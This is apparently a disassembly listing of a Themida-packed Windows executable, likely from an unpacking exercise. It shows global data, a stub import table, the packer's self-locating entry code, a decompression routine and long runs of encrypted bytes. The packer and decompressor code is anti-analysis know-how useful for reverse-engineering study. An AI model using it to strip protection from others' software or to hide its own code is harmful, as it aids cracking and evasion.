dword_4CE178	dd 0			; DATA XREF: sub_40BD91+417w
					; sub_40BD91+470o
dword_4CE17C	dd 0A2h	dup(0)		; DATA XREF: sub_40BD91+405o
dword_4CE404	dd 41h dup(0)		; DATA XREF: sub_40BD91+3CFo
dword_4CE508	dd 0			; DATA XREF: sub_40BD91+3FCw
					; sub_40BD91+423r
		align 10h
dword_4CE510	dd 0			; DATA XREF: sub_40BD91+466w
					; sub_40BD91+482r
dword_4CE514	dd 0			; DATA XREF: sub_40BD91+429w
dword_4CE518	dd 0			; DATA XREF: sub_40BD91+436w
dword_4CE51C	dd 0			; DATA XREF: sub_40BD91+3F6w
		dd 0
dword_4CE524	dd 0			; DATA XREF: sub_40BD91:loc_40C229r
		dd 0
dword_4CE52C	dd 0			; DATA XREF: sub_40B9DD+Er
					; sub_40B9DD+32r
dword_4CE530	dd 0			; DATA XREF: sub_40B9DD+9r
					; sub_40B9DD+26r
dword_4CE534	dd 82h dup(0)		; DATA XREF: sub_40C85F+8Do
dword_4CE73C	dd 2 dup(0)		; DATA XREF: sub_40D1C8+68o
dword_4CE744	dd 0			; DATA XREF: sub_40DB5E+9Eo
dword_4CE748	dd 0			; DATA XREF: ___:0040EEF0r
		dd 0
		dd 0
dword_4CE754	dd 0			; DATA XREF: ___:0040EEC3r
dword_4CE758	dd 0			; DATA XREF: ___:0040EEA5r
					; ___:0040EF0Er
		align 10h
dword_4CE760	dd 0			; DATA XREF: sub_40BD91+2AEr
		align 8
dword_4CE768	dd 0			; DATA XREF: sub_40BA49+1Cr
dword_4CE76C	dd 0			; DATA XREF: ___:0040F9E9w
					; ___:0040FA10r ...
		dd 3 dup(0)
dword_4CE77C	dd 0			; DATA XREF: ___:00411306r
		dd 0
dword_4CE784	dd 0			; DATA XREF: sub_412EDD+4w
					; sub_412EDD+9o
		dd 10Ah	dup(0)
dword_4CEBB0	dd 188h	dup(0)		; DATA XREF: sub_401ACD+2F25o
					; sub_401ACD:loc_404A7Bo
dword_4CF1D0	dd 0			; DATA XREF: sub_401ACD+19C3w
					; sub_401ACD+2F1Dr ...
		dd 11Ch	dup(0)
dword_4CF644	dd 1000h dup(0)		; DATA XREF: sub_415D38+1Do
					; sub_415DD8o ...
dword_4D3644	dd 0			; DATA XREF: sub_415D38+13o
					; sub_415DD8+Eo ...
dword_4D3648	dd 0Eh dup(0)		; DATA XREF: sub_416CC9+Fo
dword_4D3680	dd 80h dup(0)		; DATA XREF: sub_417990+41o
dword_4D3880	dd 200h	dup(0)		; DATA XREF: sub_4172C1+C7o
					; sub_41761C+DDo ...
dword_4D4080	dd 34h dup(0)		; DATA XREF: sub_4172C1+D6o
					; sub_41761C+F4o ...
		db 2 dup(0)
word_4D4152	dw 0			; DATA XREF: ___:off_4383F8o
		dd 1CBh	dup(0)
dword_4D4880	dd 0			; DATA XREF: sub_4172C1+86w
					; sub_417493+94r
dword_4D4884	dd 0			; DATA XREF: sub_4172C1+A7w
					; sub_4178F9+55r ...
dword_4D4888	dd 0			; DATA XREF: sub_4172C1+A0w
					; sub_417493+D6r ...
dword_4D488C	dd 0			; DATA XREF: sub_4172C1+79w
					; sub_417493+35r ...
dword_4D4890	dd 80h dup(0)		; DATA XREF: sub_4178F9+5Eo
dword_4D4A90	dd 0			; DATA XREF: sub_4172C1+93w
					; sub_417493+A2r
		align 8
dword_4D4A98	dd 0			; DATA XREF: sub_4172C1+E7o
					; sub_4172C1+103r ...
dword_4D4A9C	dd 0			; DATA XREF: sub_41761C+17Bw
					; sub_4177C3+107w
dword_4D4AA0	dd 0			; DATA XREF: sub_41761C+180w
					; sub_4177C3+10Dw ...
dword_4D4AA4	dd 0			; DATA XREF: sub_41761C+159w
					; sub_4178F9+4Fr
dword_4D4AA8	dd 0			; DATA XREF: sub_417C61+22w
					; sub_417C61:loc_417DE6w ...
dword_4D4AAC	dd 0			; DATA XREF: sub_401ACD+3C95o
					; sub_417B2F+12o ...
		dd 0
dword_4D4AB4	dd 0			; DATA XREF: sub_417C61+1Cr
					; sub_417E06+3Ar
		dd 7Fh dup(0)
dword_4D4CB4	dd 0			; DATA XREF: sub_417C61+28r
					; sub_417E06+4Aw
		dd 1944h dup(0)
dword_4DB1C8	dd 0			; DATA XREF: sub_417E06+23o
dword_4DB1CC	dd 81h dup(0)		; DATA XREF: sub_401ACD+3CB9o
					; sub_417B2F+3Co ...
dword_4DB3D0	dd 17h dup(0)		; DATA XREF: sub_418D2A:loc_418E47o
					; sub_418D2A+131o ...
dword_4DB42C	dd 80h dup(0)		; DATA XREF: sub_419AE0+7Co
					; sub_419AE0+A5o
dword_4DB62C	dd 0			; DATA XREF: sub_4190A5+45w
					; sub_4190A5+4Dr ...
dword_4DB630	dd 17h dup(0)		; DATA XREF: sub_4199AC:loc_419ACEo
					; sub_4199AC+12Do
dword_4DB68C	dd 80h dup(0)		; DATA XREF: sub_418FE5+4Co
					; sub_418FE5+7Eo ...
byte_4DB88C	db 0			; DATA XREF: sub_4190A5+29r
					; sub_4190A5+34w
		align 10h
dword_4DB890	dd 80h dup(0)		; DATA XREF: sub_4192FC+61o
					; sub_4192FC+89o ...
dword_4DBA90	dd 81h dup(0)		; DATA XREF: sub_418C0E:loc_418C46o
					; sub_418C0E+5Bo
dword_4DBC94	dd 0			; DATA XREF: sub_419F6D:loc_419F8Er
					; sub_41A05C+54r ...
dword_4DBC98	dd 0			; DATA XREF: sub_419F6Dr
					; sub_41A05C+37r ...
dword_4DBC9C	dd 0			; DATA XREF: sub_419F9D+1Ar
					; sub_41A1B1+83o
dword_4DBCA0	dd 0			; DATA XREF: sub_419F6D:loc_419F81r
					; sub_41A1B1+11Bw
dword_4DBCA4	dd 0Dh dup(0)		; DATA XREF: sub_41A05C+13o
					; sub_41A1B1:loc_41A2EEo
dword_4DBCD8	dd 0			; DATA XREF: sub_41A05C+CDr
					; sub_41A05C+ECr ...
		align 10h
dword_4DBCE0	dd 0Fh dup(0)		; DATA XREF: sub_41ADD8+47o
byte_4DBD1C	db 0			; DATA XREF: sub_41B52C+6o
					; ___:0041B881o ...
		align 10h
		dd 3Fh dup(0)
dword_4DBE1C	dd 2 dup(0)		; DATA XREF: sub_41B55B+18o
dword_4DBE24	dd 2 dup(0)		; DATA XREF: sub_41B55B+8o
					; ___:0041B6CAo
dword_4DBE2C	dd 0			; DATA XREF: sub_41C59D+1B9w
					; ___:loc_41DB07w ...
dword_4DBE30	dd 0			; DATA XREF: sub_41DC5E+35w
					; sub_41E312:loc_41E3ACw ...
dword_4DBE34	dd 0			; DATA XREF: sub_42423B+13Ar
		dd 0A28h, 501h,	5, 1
dword_4DBE48	dd 1			; DATA XREF: ___:loc_401516r
					; ___:0042381Dw
dword_4DBE4C	dd 2450B30h		; DATA XREF: ___:0040151Fr
					; ___:0040153Fr ...
		dd 0
dword_4DBE54	dd 2450B58h		; DATA XREF: ___:00423717w
		dd 3 dup(0)
off_4DBE64	dd offset aCM_unpackerPac ; DATA XREF: ___:004237BAw
					; "C:\\m_unpacker\\packed.exe"
		dd 0
byte_4DBE6C	db 0			; DATA XREF: sub_41C1B3+2Dw
					; sub_4241E3+5r
		align 10h
dword_4DBE70	dd 0			; DATA XREF: sub_41C1B3+27w
dword_4DBE74	dd 0			; DATA XREF: sub_41C1B3+4r
					; sub_41C1B3+8Bw
dword_4DBE78	dd 0			; DATA XREF: sub_41CAD4+3Br
					; sub_41CAD4+91w
		align 10h
dword_4DBE80	dd 0			; DATA XREF: sub_41D124+Aw
dword_4DBE84	dd 0			; DATA XREF: ___:loc_4236E5r
					; ___:loc_423727r ...
		dd 0
dword_4DBE8C	dd 0			; DATA XREF: sub_41E2C9r ___:0041E2F0o ...
dword_4DBE90	dd 0			; DATA XREF: sub_41F3B0+4Bw
					; sub_41F4C9+2Dw ...
dword_4DBE94	dd 0			; DATA XREF: sub_41FBB2r
dword_4DBE98	dd 0			; DATA XREF: sub_41BBE2:loc_41BCFEr
					; sub_41BBE2:loc_41BE1Fr ...
dword_4DBE9C	dd 1			; DATA XREF: sub_420749:loc_4208C4r
					; sub_4208E2+4w ...
dword_4DBEA0	dd 0			; DATA XREF: sub_420CE6+37r
		align 8
dword_4DBEA8	dd 0			; DATA XREF: sub_422279+11r
					; sub_42237D+1Ar ...
byte_4DBEAC	db 0			; DATA XREF: sub_422279+3r
					; sub_422279+98r ...
		align 10h
dword_4DBEB0	dd 0			; DATA XREF: sub_42237D+11r
					; sub_42245B+21w ...
byte_4DBEB4	db 0			; DATA XREF: sub_42245B+51w
		align 4
dword_4DBEB8	dd 0			; DATA XREF: sub_422651+4Er
					; sub_422A2C+3Ar ...
dword_4DBEBC	dd 0			; DATA XREF: sub_422651+5Cr
					; sub_422A2C+43r ...
dword_4DBEC0	dd 0			; DATA XREF: sub_41D3AA+7Ar
					; sub_4227F8+5r
dword_4DBEC4	dd 0			; DATA XREF: sub_422DFC+29r
dword_4DBEC8	dd 1			; DATA XREF: sub_4232A8+28r
					; sub_4232A8+4Cw ...
		dd 2 dup(0)
dword_4DBED4	dd 0			; DATA XREF: sub_41DE4A+4r
					; sub_41DE4A+6Er ...
		dd 3 dup(0)
dword_4DBEE4	dd 0			; DATA XREF: sub_41E0D4+61r
					; sub_41E0D4+BFr ...
		dd 0
dword_4DBEEC	dd 0			; DATA XREF: ___:00423531r
					; ___:0042353Dw ...
aCM_unpackerPac	db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: ___:loc_4237A3o
					; ___:off_4DBE64o
		align 4
		dd 3Ah dup(0)
dword_4DBFF4	dd 1			; DATA XREF: ___:004239DBr
					; ___:004239FCw ...
dword_4DBFF8	dd 0			; DATA XREF: sub_423D98+21r
dword_4DBFFC	dd 0			; DATA XREF: sub_41FBCD+154w
					; sub_420CE6:loc_420D0Fw ...
dword_4DC000	dd 0			; DATA XREF: sub_41FBCD+7r
dword_4DC004	dd 1			; DATA XREF: sub_4244F4+26r
					; sub_4244F4:loc_42455Ew
word_4DC008	dw 0			; DATA XREF: sub_424DF9+1Ao
					; sub_424DF9+46r
byte_4DC00A	db 0			; DATA XREF: sub_424DF9+39r
		align 4
dword_4DC00C	dd 7 dup(0)		; DATA XREF: sub_424DF9+52o
dword_4DC028	dd 0			; DATA XREF: sub_424DF9+40w
					; sub_424DF9+5Co
dword_4DC02C	dd 0			; DATA XREF: sub_424DF9+4Dw
dword_4DC030	dd 0			; DATA XREF: sub_424DF9+31w
dword_4DC034	dd 0			; DATA XREF: sub_424DF9+52w
dword_4DC038	dd 77C26E79h		; DATA XREF: sub_424F1C:loc_424F3Fr
					; sub_424F1C+38r ...
dword_4DC03C	dd 0			; DATA XREF: sub_425029+3r
					; sub_425029+2Ew ...
dword_4DC040	dd 0			; DATA XREF: sub_425029+43w
					; sub_425029:loc_425078r
dword_4DC044	dd 0			; DATA XREF: sub_425029+4Aw
					; sub_425029+60r
dword_4DC048	dd 0			; DATA XREF: sub_42423B+3Fr
dword_4DC04C	dd 0			; DATA XREF: sub_425C06:loc_425C6Dr
					; sub_425C06+6Do
dword_4DC050	dd 0			; DATA XREF: sub_425C06:loc_425C44r
					; sub_425C06+44o
dword_4DC054	dd 0			; DATA XREF: sub_425C06:loc_425C37r
					; sub_425C06+37o
dword_4DC058	dd 0			; DATA XREF: sub_425C06:loc_425C51r
					; sub_425C06+51o
		align 10h
dword_4DC060	dd 0			; DATA XREF: sub_426636+28r
					; sub_426636+4Cw ...
dword_4DC064	dd 0			; DATA XREF: sub_4268C1+26r
					; sub_4268C1:loc_42692Bw
byte_4DC068	db 0			; DATA XREF: sub_40DB3Cr sub_40DB3C+9w
		align 4
dword_4DC06C	dd 2451140h		; DATA XREF: sub_41E490:loc_41E4A1r
					; sub_41FD3D+14r ...
		dd 4 dup(0)
dword_4DC080	dd 400h	dup(0)		; DATA XREF: ___:off_43D5B8o
					; ___:0043D5C0o
dword_4DD080	dd 200h			; DATA XREF: sub_41E490+9r
					; sub_41E490+56r ...
		dd 7 dup(0)
dword_4DD0A0	dd 2450650h		; DATA XREF: sub_41F8E3+75r
					; sub_41F9BC+2Ar ...
dword_4DD0A4	dd 3Fh dup(0)		; DATA XREF: ___:00423B9Do
dword_4DD1A0	dd 20h			; DATA XREF: sub_41E312+8r
					; sub_41F9BC+Cr ...
dword_4DD1A4	dd 4E4h			; DATA XREF: sub_420749+14r
					; sub_420749+65w ...
		align 10h
dword_4DD1B0	dd 3 dup(0)		; DATA XREF: sub_420749+123o
					; sub_420749+171o ...
dword_4DD1BC	dd 0			; DATA XREF: sub_420749+108w
					; sub_420749+15Dw ...
byte_4DD1C0	db 0			; DATA XREF: sub_420988:loc_420A94w
					; sub_420988:loc_420AB1w ...
		align 4
		dd 0Fh dup(0)
		dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
		dd 77767574h, 7A7978h, 0
		dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
		dd 57565554h, 5A5958h, 0
		dd 83000000h, 0
		dd 9A0000h, 9E009Ch, 2 dup(0)
		dd 8A0000h, 0FF8E008Ch,	2 dup(0)
		dd 0AA0000h, 2 dup(0)
		dd 0B500h, 0BA0000h, 0
		dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
		dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
		dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
		dd 9FDEDDDCh
byte_4DD2C0	db 0			; DATA XREF: sub_420749+5Co
					; sub_420749+AFo ...
byte_4DD2C1	db 0			; DATA XREF: sub_41C3B1+5Dr
					; sub_420749+A0w ...
		align 4
		dd 0Fh dup(0)
		dd 10100000h, 6	dup(10101010h),	0
		dd 20200000h, 6	dup(20202020h),	2 dup(0)
		dd 20h,	10000000h, 10001000h, 2	dup(0)
		dd 20000000h, 20002000h, 10h, 0
		dd 20000000h, 2	dup(0)
		dd 200000h, 20000000h, 0
		dd 10101000h, 5	dup(10101010h),	10101000h, 10101010h, 6	dup(20202020h)
		dd 20202000h, 20202020h, 20h
dword_4DD3C4	dd 0			; DATA XREF: sub_420749+6Ew
					; sub_420749+12Bw ...
dword_4DD3C8	dd 0			; DATA XREF: sub_41ED74+5r
					; sub_41ED74+32w
dword_4DD3CC	dd 0			; DATA XREF: sub_41E742+23Ar
					; sub_41E742+25Ar ...
dword_4DD3D0	dd 0			; DATA XREF: sub_41E742+311w
					; sub_41EA6B:loc_41EABBr ...
dword_4DD3D4	dd 0			; DATA XREF: sub_41E742+22Dr
					; sub_41E742+260r ...
dword_4DD3D8	dd 0			; DATA XREF: sub_41E717r
					; sub_41E742+2CBr ...
dword_4DD3DC	dd 0			; DATA XREF: sub_41E717+8r
					; sub_41E742+2D0r ...
dword_4DD3E0	dd 0			; DATA XREF: sub_41BBE2+5Cr
					; sub_41BEF3+Fr ...
dword_4DD3E4	dd 2450000h		; DATA XREF: sub_41BA91+5Ar
					; sub_41BBE2+C0r ...
dword_4DD3E8	dd 1			; DATA XREF: sub_41BA91+Cr
					; sub_41BBE2:loc_41BC12r ...
dword_4DD3EC	dd 142340h		; DATA XREF: ___:0042368Ar
					; ___:004237B5r
dword_4DD3F0	dd 1			; DATA XREF: ___:00423780w
dword_4DD3F4	dd 1			; DATA XREF: sub_420B0Dr
					; sub_420B0D+11w ...
dword_4DD3F8	dd 2450758h		; DATA XREF: sub_41C1B3+3Er
					; sub_41D9B3+13r ...
dword_4DD3FC	dd 2450758h		; DATA XREF: sub_41C1B3+35r
					; sub_41C1B3+57r ...
		dd 300h	dup(0)
		dd 127h, 19Ch, 1DCh, 221h, 233h, 290h, 3FAh dup(0)
___		ends

; Section 2. (virtual address 000DF000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 000DF000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_rsrc___	segment	para public 'DATA' use32
		assume cs:_rsrc___
		;org 4DF000h
		align 2000h
_rsrc___	ends

; Section 3. (virtual address 000E0000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 000E0000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata__	segment	para public 'DATA' use32
		assume cs:_idata__
		;org 4E0000h
a7icwCw		db '7¨çwµ\çw',0
		align 4
		dd 77345219h, 4	dup(0)
		dd 0E0050h, 0E0000h, 3 dup(0)
		dd 0E0079h, 0E000Ch, 3 dup(0)
		db 0
byte_4E0049	db 3 dup(0)		; DATA XREF: ___:004385FCo
		align 10h
aKernel32_dll_0	db 'KERNEL32.dll',0
		db 2 dup(0), 43h
aReatefilea	db 'reateFileA',0
		align 4
		dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h
		dd 6C642E32h, 6Ch
aInitcommoncont	db 'InitCommonControls',0
		align 1000h
_idata__	ends

; Section 4. (virtual address 000E1000)
; Virtual size			: 000F3000 ( 995328.)
; Section size in file		: 000F3000 ( 995328.)
; Offset to raw	data for section: 000E1000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
Themida_	segment	para public 'DATA' use32
		assume cs:Themida_
		;org 4E1000h
		dd 0B81DD64Ch, 4BF96h, 5413Bh, 96172h, 0

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near

var_1C		= dword	ptr -1Ch

; FUNCTION CHUNK AT 004E1265 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005479D0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0054AF39 SIZE 00000062 BYTES
; FUNCTION CHUNK AT 0054B1AF SIZE 00000041 BYTES
; FUNCTION CHUNK AT 0054B1F9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0054B212 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0054B22D SIZE 0000008D BYTES
; FUNCTION CHUNK AT 0054B2F0 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0054B30F SIZE 00000039 BYTES
; FUNCTION CHUNK AT 0054B34B SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0054B376 SIZE 0000003D BYTES

		mov	eax, 0
		pusha
		or	eax, eax
		jz	short loc_4E1086
		call	$+5
		pop	eax
		add	eax, 53h
		cmp	byte ptr [eax],	0E9h
		jnz	short loc_4E1041
		popa
		jmp	short loc_4E1076
; ---------------------------------------------------------------------------
		db 0DBh, 2Dh, 37h
		dd 0FF004E10h, 0FFFFFFFFh, 3DFFFFFFh
		db 40h
; ---------------------------------------------------------------------------


loc_4E1041:				; CODE XREF: start+18j
		call	$+5
		pop	eax
		and	eax, 0FFFFF000h
		xor	edi, edi


loc_4E104E:				; CODE XREF: start+5Ej
		mov	bx, 5A19h
		add	bx, 34h
		cmp	[eax], bx
		jnz	short loc_4E106D
		movzx	edx, word ptr [eax+3Ch]
		add	edx, eax
		mov	ebx, 44E9h
		add	ebx, 67h
		cmp	[edx], ebx
		jz	short loc_4E1074


loc_4E106D:				; CODE XREF: start+45j
		sub	eax, 1000h
		jmp	short loc_4E104E
; ---------------------------------------------------------------------------


loc_4E1074:				; CODE XREF: start+57j
		mov	edi, eax


loc_4E1076:				; CODE XREF: start+1Bj
		jmp	loc_4E1265
; ---------------------------------------------------------------------------
		db 3
		dd 126AB9C7h, 0CF03000Eh
		db 0EBh, 0Ah
; ---------------------------------------------------------------------------


loc_4E1086:				; CODE XREF: start+8j
		mov	eax, offset loc_5479D0
		mov	ecx, offset word_4E126A
		push	eax
		push	ecx
		call	sub_4E111B
		call	$+5
		pop	eax
		sub	eax, 26h
		mov	ecx, 1EFh
		mov	byte ptr [eax],	0E9h
		sub	ecx, 5
		mov	[eax+1], ecx
		popa
		jmp	loc_4E1265
start		endp ; sp-analysis failed

; ---------------------------------------------------------------------------
aUFkxB		db '(“ÉäŠx¼^',0
		dd 63432DA8h, 0F065446Ch, 3ADC23BEh, 759CA4D8h,	3163C78Eh
		dd 93264C98h, 78F2E4C9h, 172F5EBCh, 9122458Bh, 0D8B164C8h
		dd 0DCBA75EBh, 1D3B76EDh, 5A4E2BEFh, 1848C86h, 662A4924h
		dd 1799B7DEh, 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh
		dd 3163C78Eh, 93264C98h
		db 0C8h, 0E4h, 0F2h

; =============== S U B	R O U T	I N E =======================================



sub_4E111B	proc near		; CODE XREF: start+7Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	esi, [esp+20h+arg_0]
		mov	edi, [esp+20h+arg_4]
		cld
		mov	dl, 80h


loc_4E1127:				; CODE XREF: sub_4E111B:loc_4E113Bj
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		mov	ebx, 2


loc_4E1132:				; CODE XREF: sub_4E111B+7Aj
					; sub_4E111B+C3j ...
		add	dl, dl
		jnz	short loc_4E113B
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E113B:				; CODE XREF: sub_4E111B+19j
		jnb	short loc_4E1127
		add	dl, dl
		jnz	short loc_4E1146
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E1146:				; CODE XREF: sub_4E111B+24j
		jnb	short loc_4E1197
		xor	eax, eax
		add	dl, dl
		jnz	short loc_4E1153
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E1153:				; CODE XREF: sub_4E111B+31j
		jnb	loc_4E1238
		add	dl, dl
		jnz	short loc_4E1162
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E1162:				; CODE XREF: sub_4E111B+40j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E116D
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E116D:				; CODE XREF: sub_4E111B+4Bj
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E1178
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E1178:				; CODE XREF: sub_4E111B+56j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E1183
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E1183:				; CODE XREF: sub_4E111B+61j
		adc	eax, eax
		jz	short loc_4E118D
		push	edi
		sub	edi, eax
		mov	al, [edi]
		pop	edi


loc_4E118D:				; CODE XREF: sub_4E111B+6Aj
		mov	[edi], al
		inc	edi
		mov	ebx, 2
		jmp	short loc_4E1132
; ---------------------------------------------------------------------------


loc_4E1197:				; CODE XREF: sub_4E111B:loc_4E1146j
		mov	eax, 1


loc_4E119C:				; CODE XREF: sub_4E111B:loc_4E11B0j
		add	dl, dl
		jnz	short loc_4E11A5
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E11A5:				; CODE XREF: sub_4E111B+83j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E11B0
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E11B0:				; CODE XREF: sub_4E111B+8Ej
		jb	short loc_4E119C
		sub	eax, ebx
		mov	ebx, 1
		jnz	short loc_4E11E3
		mov	ecx, 1


loc_4E11C0:				; CODE XREF: sub_4E111B:loc_4E11D4j
		add	dl, dl
		jnz	short loc_4E11C9
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E11C9:				; CODE XREF: sub_4E111B+A7j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_4E11D4
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E11D4:				; CODE XREF: sub_4E111B+B2j
		jb	short loc_4E11C0
		push	esi
		mov	esi, edi
		sub	esi, ebp
		rep movsb
		pop	esi
		jmp	loc_4E1132
; ---------------------------------------------------------------------------


loc_4E11E3:				; CODE XREF: sub_4E111B+9Ej
		dec	eax
		shl	eax, 8
		mov	al, [esi]
		inc	esi
		mov	ebp, eax
		mov	ecx, 1


loc_4E11F1:				; CODE XREF: sub_4E111B:loc_4E1205j
		add	dl, dl
		jnz	short loc_4E11FA
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E11FA:				; CODE XREF: sub_4E111B+D8j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_4E1205
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E1205:				; CODE XREF: sub_4E111B+E3j
		jb	short loc_4E11F1
		cmp	eax, 7D00h
		jnb	short loc_4E1228
		cmp	eax, 500h
		jb	short loc_4E1223
		inc	ecx
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_4E1132
; ---------------------------------------------------------------------------


loc_4E1223:				; CODE XREF: sub_4E111B+F8j
		cmp	eax, 7Fh
		ja	short loc_4E122B


loc_4E1228:				; CODE XREF: sub_4E111B+F1j
		add	ecx, 2


loc_4E122B:				; CODE XREF: sub_4E111B+10Bj
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_4E1132
; ---------------------------------------------------------------------------


loc_4E1238:				; CODE XREF: sub_4E111B:loc_4E1153j
		mov	al, [esi]
		inc	esi
		xor	ecx, ecx
		shr	al, 1
		jz	short loc_4E1259
		adc	ecx, 2
		mov	ebp, eax
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		mov	ebx, 1
		jmp	loc_4E1132
; ---------------------------------------------------------------------------


loc_4E1259:				; CODE XREF: sub_4E111B+125j
		sub	edi, [esp+20h+arg_4]
		mov	[esp+20h+var_4], edi
		popa
		retn	8
sub_4E111B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_4E1265:				; CODE XREF: start:loc_4E1076j
					; start+9Dj
		jmp	loc_5479D0
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
word_4E126A	dw 38E9h		; DATA XREF: start+77o
		dd 1533564h, 46B811C8h,	0B824C8FBh, 0C8EFEF42h,	0AB46B871h
		dd 0AE101BCh, 3321BEABh, 0C0BB11EEh, 74736552h,	38727361h
		dd 2EBD7041h, 8570783Eh, 14D9DAFDh, 356E5EFFh, 0BFAE1103h
		dd 0EA427838h, 0AC6F5AEEh, 8032137h, 0CA38D475h, 88BE4303h
		dd 0F246B892h, 24952998h, 0C001215Dh, 6D656854h, 61646912h
		dd 0A2EAD8DEh, 84019B22h, 36C8EF2Ah, 0ABAE42B8h, 0BF08E6D7h
		dd 21C58BC7h, 40E860D4h, 0ED815D0Ah, 29357300h,	0F9958906h
		dd 0B50DC21Ah, 85211039h, 8300202Dh, 0D415DBDh,	390C74C0h
		dd 0E212E88Bh, 0C20123B8h, 443870DEh, 3D3EE224h, 456A002Dh
		dd 29C0A3E8h, 83749A68h, 0A0DFF407h, 3D4B250Ah,	0D5220A89h
		dd 214E914h
		db 0ECh, 0AFh, 0A0h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		adc	eax, 0EED8C483h
		sbb	byte ptr [edx-7Fh], 0EAh
		popa
		or	byte ptr ss:[ebx+45C712DAh], 0D8h ; CODE XREF: Themida_:004E136Aj
		or	ss:[esi], cl
		xor	[eax-77h], eax
		or	[ecx-737F0683h], al
		sbb	eax, 8200F74h
		inc	byte ptr [ebx+3010CB49h]
		call	dword ptr [edx]
		inc	ebx
		jmp	short near ptr loc_4E1348+5
; ---------------------------------------------------------------------------
		dd 61DC36C6h, 28C9E826h, 0D4604C2h, 0FF7CC481h,	0AA491C02h
		dd 2458D88h, 85D8B80h, 198885C7h, 0A8D9450h, 88C3D101h
		dd 51894118h, 44BD810Bh, 755D0506h, 8D2728E3h, 0D864BA51h
		dd 8A098075h, 20F4BB0Eh, 37ABB85Bh, 0D3781F54h,	80F98D0h
		dd 0F776754Bh, 47C3AF0Ah, 46484A46h, 4245F9C5h,	8A7461D1h
		dd 0BFF0D00Eh, 0FC45EEB1h, 4EB4D41h, 4691AD47h,	408A3E80h
		dd 6D84BAF7h, 0C7DCC34h, 3E7FEB32h, 906D19F8h, 0E99F012h
		dd 4A1050F4h, 0F02865C1h, 0F807D604h, 0C203E0D1h, 333282Ch
		dd 301C8ADBh, 7299FB80h, 390A870Ah, 0EBA70577h,	14224CDEh
		dd 0CF0DFE61h, 8ED660Ah, 0C3E9EB1Eh, 8610D50Ah,	0B72411Ah
		dd 77461B0Ah, 43D42406h, 0EF05D01h, 7D83F4ECh, 0B0720263h
		dd 76C00C66h, 0C8AAECA5h, 0C039F826h, 0A840ED8Dh, 15FC553Bh
		dd 0BD78820Fh, 0AA37B038h, 1CBACA38h, 15B91C08h, 0BD08FC70h
		dd 0FE0037F0h, 7549470Fh, 22B938FAh, 0BB8F6ABBh, 0F1A31101h
		dd 2B6EB82h, 86778EECh,	72A3907h, 36076551h, 8A9DBBE8h
		dd 0E97CE226h, 60EA5988h, 0BBF00D0Ah, 0B81C17E0h, 31FF323h
		dd 5A1D1598h, 6BE0FBCAh, 49300EA9h, 0BFA09418h,	9785721Ah
		dd 688F8D00h, 81C32C09h, 6EE566D8h, 6701D0F1h, 89E2DC82h
		dd 518308EAh, 0EFE6FD41h, 8C69ABE8h, 2B34CB30h,	5B4E39h
		dd 0B8100F76h, 0D1043D51h, 46EC3BF8h, 9753CC2h,	0E818C2Eh
		dd 0E4EC0548h, 69065h, 5C5846Bh, 0FE54968Eh, 0A8F5388h
		dd 8129C204h, 8205718Ch, 0C20EB7E7h, 182BFF66h,	22047781h
		dd 0C103341Dh, 7533F984h, 3FBC2020h, 0EFEC0AEEh, 0EC0230CCh
